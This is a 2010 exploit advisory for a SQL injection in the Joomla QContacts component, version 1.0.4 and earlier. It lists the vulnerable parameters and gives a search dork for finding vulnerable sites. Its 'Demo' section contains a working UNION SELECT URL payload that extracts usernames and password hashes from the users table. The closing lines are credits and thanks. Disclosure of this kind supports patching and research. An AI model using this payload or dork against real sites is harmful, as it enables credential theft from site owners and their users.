Joomla QContacts SQL Injection

`# Exploit Title: Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability  
# Date: 12, July 2010  
  
# Author: _mlk_  
# Software Link: http://bugsec.googlecode.com/files/Joomla_com_qcontacts.zip  
# Version: 1.0.4 and previous  
# Tested on: all OS  
  
# CVE : 0  
  
# Code : here  
  
Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability  
  
#################################################################################################################  
  
  
[+] Discovered by : _mlk_ (Renan)  
  
[+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs  
  
[+] Homepages : http://code.google.com/p/bugsec/  
http://botecounix.com.br/blog/  
http://c0d3rs.wordpress.com/  
  
[+] Location : Porto Alegre - RS, Brasil  
(or Brazil)  
  
#################################################################################################################  
  
  
[-] Information  
  
[?] Script : QContacts  
  
[?] FAQ : http://www.latenight-coding.com/joomla-addons/qcontacts.html  
  
[?] Versions Tested: 1.0.4 and previous  
  
[?] Dork/String : "index.php?option=com_qcontacts" / "com_qcontacts"  
  
[?] Date : 12, July 2010  
  
  
-----------------------------------------------------------------------------------------------------------------  
  
  
[*] Parameters vuls :  
  
Itemid  
id  
catid  
  
  
-----------------------------------------------------------------------------------------------------------------  
  
  
[*] Example :  
  
http://localhost/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]  
http://localhost/[PATH]/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]  
  
  
-----------------------------------------------------------------------------------------------------------------  
  
  
[*] Demo :  
  
http://<server>/path/index.php?option=com_qcontacts&view=contact&id=1&Itemid=-541  
+union+select+concat(id,0x3a,name,0x3a,username,0x3a,password)+from+cms01_users--  
  
  
#################################################################################################################  
  
  
[~] Agradecimentos :  
  
Deus , Familiares , Amigos e Tricolor Gaúcho (Grêmio) .  
Em especial "i4k" ( alien \o/ ) .  
  
  
#################################################################################################################  
  
`